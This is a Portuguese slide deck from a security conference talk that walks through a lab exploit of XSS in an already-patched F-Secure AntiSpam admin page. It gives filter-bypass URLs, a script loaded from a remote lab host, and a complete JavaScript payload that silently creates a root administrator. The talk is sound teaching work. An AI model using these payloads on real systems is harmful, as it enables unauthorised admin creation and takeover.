XSS Injec)on indo além do Alert(); 
By 
William 
Costa
William Costa 
Consultor 
em 
Segurança 
da 
Informação. 
CISSP, 
C|EH, 
E|CSA, 
CPT, 
CEPT, 
LPI.
TOP 10 OWASP 
• OWASP 
Top 
10 
– 
2013 
• A1 
– 
InjecJon 
• A2 
– 
Broken 
AuthenJcaJon 
and 
Session 
Management 
• A3 ...
Cross-­‐Site Scrip)ng (XSS) 
• Cross-­‐Site 
ScripJng 
é 
composto 
por 
envio 
de 
scripts 
maliciosos 
em 
uma 
requisiç...
Composição do XSS. 
Os XSS’s normalmente são divididos em 3 categorias 
Reflected 
XSS 
Stored 
XSS 
DOM 
Based 
XSS
Reflected XSS 
Quando o usuário envia uma requisição durante uma consulta em uma pagina 
de pesquisa ou em uma variável. 
...
Stored XSS 
Isso ocorre quando o Script e salvo no servidor sendo assim carregado a cada 
vez que a pagina for acessada. 
...
DOM XSS 
O DOM XSS é quando é inserido o payload dentro de uma variável u)lizada por 
um script 
Ex: Campos de interação e...
Chega de teoria e vamos a Diversão.
Vamos Começar em nossa Oficina 
Vamos fazer nosso LAB em um F-­‐Secure que já foi corrigida a vulnerabilidade. 
J 
Topolo...
Encontrando a Falha 
Alvo 
: 
F-­‐Secure 
• AnJSpam 
Logue 
na 
aplicação: 
hlps://10.0.3.133:10000 
User: 
admin 
Pass: 
...
Encontrando a Falha 
Após 
logar 
acesse 
Administrator 
> 
Administrators 
> 
Add
Encontrando a Falha 
Abra 
o 
Iframe 
em 
uma 
nova 
aba 
Clicando 
como 
botão 
direito
Encontrando a Falha 
Agora 
já 
temos 
em 
nosso 
browser 
a 
seguinte 
URL 
hlps://10.0.3.133:10000/admin?module=SysUser&...
Encontrando a Falha 
Vamos 
iniciar 
com 
o 
teste 
das 
variáveis 
Alteramos 
link 
de: 
hlps://10.0.3.133:10000/admin?mo...
Encontrando a Falha 
Vamos 
verificar 
oque 
aconteceu 
clicando 
com 
o 
botão 
direito 
na 
pagina 
acessada 
e 
analisa...
Encontrando a Falha 
Dessa 
forma 
vamos 
verificar 
se 
é 
possível 
inserir 
tags 
HTML 
neste 
campo 
Nossa 
URL 
fica ...
Explorando a Falha 
Já 
temos 
a 
nossa 
falha 
vamos 
agora 
testar 
a 
injeção 
de 
javascript 
Nossa 
url 
ficará 
assi...
Explorando a Falha 
Vamos 
descobrir 
qual 
parte 
do 
script 
negou 
o 
acesso. 
Vamos 
acessar 
novamente 
a 
URL 
hlps:...
Explorando a Falha 
Já 
desisJu 
????? 
Mais 
uma 
tentaJva 
hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=...
Explorando a Falha 
Já 
sabemos 
que 
ele 
filtra 
a 
tag 
<script> 
quando 
fechada 
Faça 
o 
teste 
com 
as 
seguintes 
...
Explorando a Falha 
Recapitulando: 
• A 
falha 
se 
encontra 
na 
pagina 
de 
criação 
de 
novos 
usuários 
administradore...
Explorando a Falha 
Bypass 
do 
filtro 
<script> 
Analisando 
o 
código 
do 
html 
vemos 
que 
a 
nossa 
variável 
é 
inse...
Explorando a Falha 
Para 
o 
Bypass 
do 
filtro 
hlps, 
uJlizaremos 
o 
Protocol 
Rela0ve 
suprimimos 
o 
protocolo, 
deix...
Criando o Exploit 
Para 
o 
nosso 
primeiro 
teste 
vamos 
criar 
um 
simples 
arquivo 
de 
texto 
com 
o 
seguinte 
conte...
Criando o Exploit 
Acesso 
o 
Servidor 
via 
FTP 
para 
enviar 
o 
arquivo 
ou 
pode 
uJlizar 
o 
cliente 
disponível 
em ...
Criando o Exploit 
Com 
o 
nosso 
arquivo 
já 
no 
nosso 
servidor 
podemos 
ver 
como 
fica 
nossa 
URL 
hlps://10.200.21...
Criando o Exploit 
Vamos 
deixar 
as 
coisas 
mais 
interessantes 
A 
nossa 
vulnerabilidade 
se 
encontra 
na 
pagina 
de...
Criando o Exploit 
Vamos 
começar 
recriando 
o 
campo 
de 
Input 
que 
foi 
quebrado 
quando 
inserimos 
o 
nosso 
Exploi...
Criando o Exploit 
Isso 
ocorreu 
pois 
o 
nosso 
exploit 
e 
inserido 
antes 
do 
campo 
e 
com 
não 
podemos 
fechar 
a ...
Criando o Exploit 
• Para 
isso 
vamos 
usar 
o 
Method 
document.write(exp1,exp2,exp3,...) 
Ficando 
assim 
em 
nosso 
ar...
Criando o Exploit 
• Agora 
temos 
que 
preencher 
os 
campos 
de 
Password, 
Role 
e 
clicar 
em 
ADD 
J 
Para 
isso 
va...
Criando o Exploit 
• Vamos 
testar 
o 
nosso 
exploit 
adicionando 
as 
linhas 
abaixo 
em 
nosso 
arquivo 
js 
e 
enviado...
Criando o Exploit 
• Vamos 
realizar 
novamente 
o 
acesso: 
L 
Como 
podemos 
ver 
apenas 
o 
campo 
com 
o 
nome 
do 
u...
Criando o Exploit 
• AJvamos 
o 
Debug 
do 
firefox 
em 
Tools 
> 
Web 
Developer 
> 
Web 
Console 
: 
Habilitando 
o 
JS ...
Criando o Exploit 
• Vamos 
analisar 
o 
que 
ocorreu, 
o 
javascript 
por 
default 
é 
executado 
pelo 
browser 
assim 
q...
Criando o Exploit 
• Ficando 
assim 
o 
nosso 
código 
no 
arquivo 
js: 
document.write("<input 
id='id' 
name='id' 
value...
Criando o Exploit 
• Enviamos 
o 
nosso 
novo 
arquivo 
ao 
servidor 
e 
acessamos 
novamente 
o 
link: 
• Sucesso 
J 
Pa...
Criando o Exploit 
• UJlizaremos 
o 
Method 
submit(), 
ficando 
assim 
o 
nosso 
script 
final: 
document.write("<input 
...
Criando o Exploit 
• Enviamos 
o 
nosso 
novo 
arquivo 
ao 
servidor 
e 
acessamos 
novamente 
o 
link:
Conclusão. 
• Finalizamos 
a 
exploração 
com 
nosso 
exploit 
e 
o 
resultado 
foi 
a 
criação 
de 
um 
novo 
usuário 
de...
<script>alert(String(/Perguntas?/).substr(1,10) ); </script> 
william.costa arroba gmail.com
Próximos SlideShares
Carregando em…5
×

Xss injection indo alem do alert.v 0.4

410 visualizações

Publicada em

Slides Apresentados no Bisides Ed. 9

Publicada em: Tecnologia
0 comentários
1 gostou
Estatísticas
Notas
  • Seja o primeiro a comentar

Sem downloads
Visualizações
Visualizações totais
410
No SlideShare
0
A partir de incorporações
0
Número de incorporações
3
Ações
Compartilhamentos
0
Downloads
6
Comentários
0
Gostaram
1
Incorporações 0
Nenhuma incorporação

Nenhuma nota no slide

Xss injection indo alem do alert.v 0.4

  1. 1. XSS Injec)on indo além do Alert(); By William Costa
  2. 2. William Costa Consultor em Segurança da Informação. CISSP, C|EH, E|CSA, CPT, CEPT, LPI.
  3. 3. TOP 10 OWASP • OWASP Top 10 – 2013 • A1 – InjecJon • A2 – Broken AuthenJcaJon and Session Management • A3 – Cross-­‐Site Scrip0ng (XSS) • A4 – Insecure Direct Object References • A5 – Security MisconfiguraJon • A6 – SensiJve Data Exposure • A7 – Missing FuncJon Level Access Control • A8 – Cross-­‐Site Request Forgery (CSRF) • A9 – Using Known Vulnerable Components • A10 – Unvalidated Redirects and Forwards
  4. 4. Cross-­‐Site Scrip)ng (XSS) • Cross-­‐Site ScripJng é composto por envio de scripts maliciosos em uma requisição de um usuário ao site legiJmo, sem ser validado corretamente pela aplicação, dessa forma o script será executado pelo browser da viJma.
  5. 5. Composição do XSS. Os XSS’s normalmente são divididos em 3 categorias Reflected XSS Stored XSS DOM Based XSS
  6. 6. Reflected XSS Quando o usuário envia uma requisição durante uma consulta em uma pagina de pesquisa ou em uma variável. Ex: hSp://www.vulneravel.com.br/no)cias/?)po=R"><script>alert("Reflected XSS")</script>
  7. 7. Stored XSS Isso ocorre quando o Script e salvo no servidor sendo assim carregado a cada vez que a pagina for acessada. Ex: Mensagem em um fórum, formulares de compras, entre outros Após adicionar o comentário qualquer pessoa que acesse o Forum recebem a tela
  8. 8. DOM XSS O DOM XSS é quando é inserido o payload dentro de uma variável u)lizada por um script Ex: Campos de interação em tempo real. <img src=search onerror=alert('DOM_XSS')>
  9. 9. Chega de teoria e vamos a Diversão.
  10. 10. Vamos Começar em nossa Oficina Vamos fazer nosso LAB em um F-­‐Secure que já foi corrigida a vulnerabilidade. J Topologia no LAB
  11. 11. Encontrando a Falha Alvo : F-­‐Secure • AnJSpam Logue na aplicação: hlps://10.0.3.133:10000 User: admin Pass: mudar@123
  12. 12. Encontrando a Falha Após logar acesse Administrator > Administrators > Add
  13. 13. Encontrando a Falha Abra o Iframe em uma nova aba Clicando como botão direito
  14. 14. Encontrando a Falha Agora já temos em nosso browser a seguinte URL hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1
  15. 15. Encontrando a Falha Vamos iniciar com o teste das variáveis Alteramos link de: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1 Para: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa e acessamos o link
  16. 16. Encontrando a Falha Vamos verificar oque aconteceu clicando com o botão direito na pagina acessada e analisando o seu código fonte. Damos um Find (CRTL+F) Como podemos ver a variável “new” é uJlizada como valor em um campo de Input
  17. 17. Encontrando a Falha Dessa forma vamos verificar se é possível inserir tags HTML neste campo Nossa URL fica desta forma: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<s> Analisando novamente vemos que não ocorreu o tratamento da nossa TAG J
  18. 18. Explorando a Falha Já temos a nossa falha vamos agora testar a injeção de javascript Nossa url ficará assim: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script>alert(2);</script> Tivemos o acesso negado L
  19. 19. Explorando a Falha Vamos descobrir qual parte do script negou o acesso. Vamos acessar novamente a URL hlps://10.0.3.133:10000/admin se necessário logamos novamente hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script> E repeJmos o acesso Outro acesso negado L
  20. 20. Explorando a Falha Já desisJu ????? Mais uma tentaJva hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa<script E repeJmos o acesso Acesso concedido J
  21. 21. Explorando a Falha Já sabemos que ele filtra a tag <script> quando fechada Faça o teste com as seguintes palavras, ficando assim: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa.js Acesso PermiJdo hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa.src= Acesso PermiJdo hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaahlps Acesso Negado 403 Forbidden hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa</script> Acesso Negado 403 Forbidden Sabemos agora que é realizado o Filtro da palavra HTTP em conjunto com o <script> e </script>
  22. 22. Explorando a Falha Recapitulando: • A falha se encontra na pagina de criação de novos usuários administradores • Na URL hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=1 • Na variável “new” • Aplicação filtra os seguintes valores: <script> </script> hlps hlp
  23. 23. Explorando a Falha Bypass do filtro <script> Analisando o código do html vemos que a nossa variável é inserida no final da tag input <input type=hidden name=new value=aaaa> Portanto não precisamos uJlizar o sinal de “>” para fechar o script J Nossa url: hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aaaa><script Fica assim o nosso código: <input type=hidden name=new value=aaaa><script>
  24. 24. Explorando a Falha Para o Bypass do filtro hlps, uJlizaremos o Protocol Rela0ve suprimimos o protocolo, deixaremos o browser uJlizar o da pagina principal J, ficando assim o nosso script final hlps://10.0.3.133:10000/admin?module=SysUser&method=user&new=aa><script src=//10.0.3.165/xss/e.js Para Bypass do filtro </script> não precisamos nos preocupar, pois ela é fornecida algumas linhas a frente J
  25. 25. Criando o Exploit Para o nosso primeiro teste vamos criar um simples arquivo de texto com o seguinte conteúdo: alert("F-­‐Secure XSS"); Salve o arquivo com nome_que_desejar.js
  26. 26. Criando o Exploit Acesso o Servidor via FTP para enviar o arquivo ou pode uJlizar o cliente disponível em hlp://10.200.210.8/tools FTP Servidor : 10.200.210.8 Usuário: xss Senha: xss Salve o arquivo na raiz mesmo do FTP.
  27. 27. Criando o Exploit Com o nosso arquivo já no nosso servidor podemos ver como fica nossa URL hlps://10.200.210.133:10000/admin?module=SysUser&method=user&new=1><script src=//10.200.210.8/xss/ nome_do_seu_xss.js Realizando o acesso temos o nosso alert(); Mas, o Jtulo não é além do alert ?
  28. 28. Criando o Exploit Vamos deixar as coisas mais interessantes A nossa vulnerabilidade se encontra na pagina de criação de novos usuários. Então o nosso exploit deve preencher os campos: Administrator ID Password Re-­‐type Password Role E ainda clicar em ADD Muita coisa ?
  29. 29. Criando o Exploit Vamos começar recriando o campo de Input que foi quebrado quando inserimos o nosso Exploit Antes do Exploit Após o Exploit
  30. 30. Criando o Exploit Isso ocorreu pois o nosso exploit e inserido antes do campo e com não podemos fechar a nossa tag </script> ela considera tudo um jascript até a próxima tag </script> no no código. Código enviado ao browser do usuário: <input type=hidden name=new value=1><script src=//10.200.210.8/xss/william.js> <input type=hidden name=old_password value=><tr><td class=ppsse}ngslabel width=200 id='id_text' valign=top>Administrator ID</td><td><input type="text" id='id' name="id" class=formInput value="" style="width:200" ppstype="admin_id"></td></tr><script language="Javascript" type="text/javascript"> document.main_form.id.focus();</script>
  31. 31. Criando o Exploit • Para isso vamos usar o Method document.write(exp1,exp2,exp3,...) Ficando assim em nosso arquivo js. document.write("<input id='id' name='id' value='user.exploit'>"); Que vai criar um Input no código enviado ao usuário.
  32. 32. Criando o Exploit • Agora temos que preencher os campos de Password, Role e clicar em ADD J Para isso vamos uJlizar o Method document.getElementsByName() para localizar o campo pelo nome, [0] é para selecionar a primeira ocorrência e o value é para setar um valor ao campo que seria nossa password: document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root"; As duas primeiras linhas são para a senha e a terceira é para setar o Role (perfil) como sendo root.
  33. 33. Criando o Exploit • Vamos testar o nosso exploit adicionando as linhas abaixo em nosso arquivo js e enviado ao servidor, ficando assim o arquivo document.write("<input id='id' name='id' value='user.exploit'>"); document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root";
  34. 34. Criando o Exploit • Vamos realizar novamente o acesso: L Como podemos ver apenas o campo com o nome do usuário foi preenchido Vamos habilitar o debug do Browser e ver o que aconteceu.
  35. 35. Criando o Exploit • AJvamos o Debug do firefox em Tools > Web Developer > Web Console : Habilitando o JS temos: Vemos que na ulJma linha o nossos document.getElementsByName está com erro, sendo como não definido
  36. 36. Criando o Exploit • Vamos analisar o que ocorreu, o javascript por default é executado pelo browser assim que é chamado, o nosso script é inserido antes dos campos de password e role do código enviado ao usuário, como o JS é executado logo assim que referenciado, acaba por não ter os campos para o preenchimento. • Como resolver? Colocando o nosso código em uma função e setando um Jmeout J
  37. 37. Criando o Exploit • Ficando assim o nosso código no arquivo js: document.write("<input id='id' name='id' value='user.exploit'>"); funcJon espera() { document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root"; } setTimeout("espera("Jmeout")", 1000);
  38. 38. Criando o Exploit • Enviamos o nosso novo arquivo ao servidor e acessamos novamente o link: • Sucesso J Para finalizar o nosso Exploit ainda falta enviar os dados.
  39. 39. Criando o Exploit • UJlizaremos o Method submit(), ficando assim o nosso script final: document.write("<input id='id' name='id' value='user.exploit'>"); funcJon espera() { document.getElementsByName('user_newpassword_1')[0].value = "admin@123"; document.getElementsByName('user_newpassword_2')[0].value = "admin@123"; document.getElementsByName('selectedrole')[0].value = "root"; document.main_form.submit(); } setTimeout("espera("Jmeout")", 1000); Não esqueça de salvar no arquivo js e enviar ao nosso servidor
  40. 40. Criando o Exploit • Enviamos o nosso novo arquivo ao servidor e acessamos novamente o link:
  41. 41. Conclusão. • Finalizamos a exploração com nosso exploit e o resultado foi a criação de um novo usuário de administração J.
  42. 42. <script>alert(String(/Perguntas?/).substr(1,10) ); </script> william.costa arroba gmail.com

×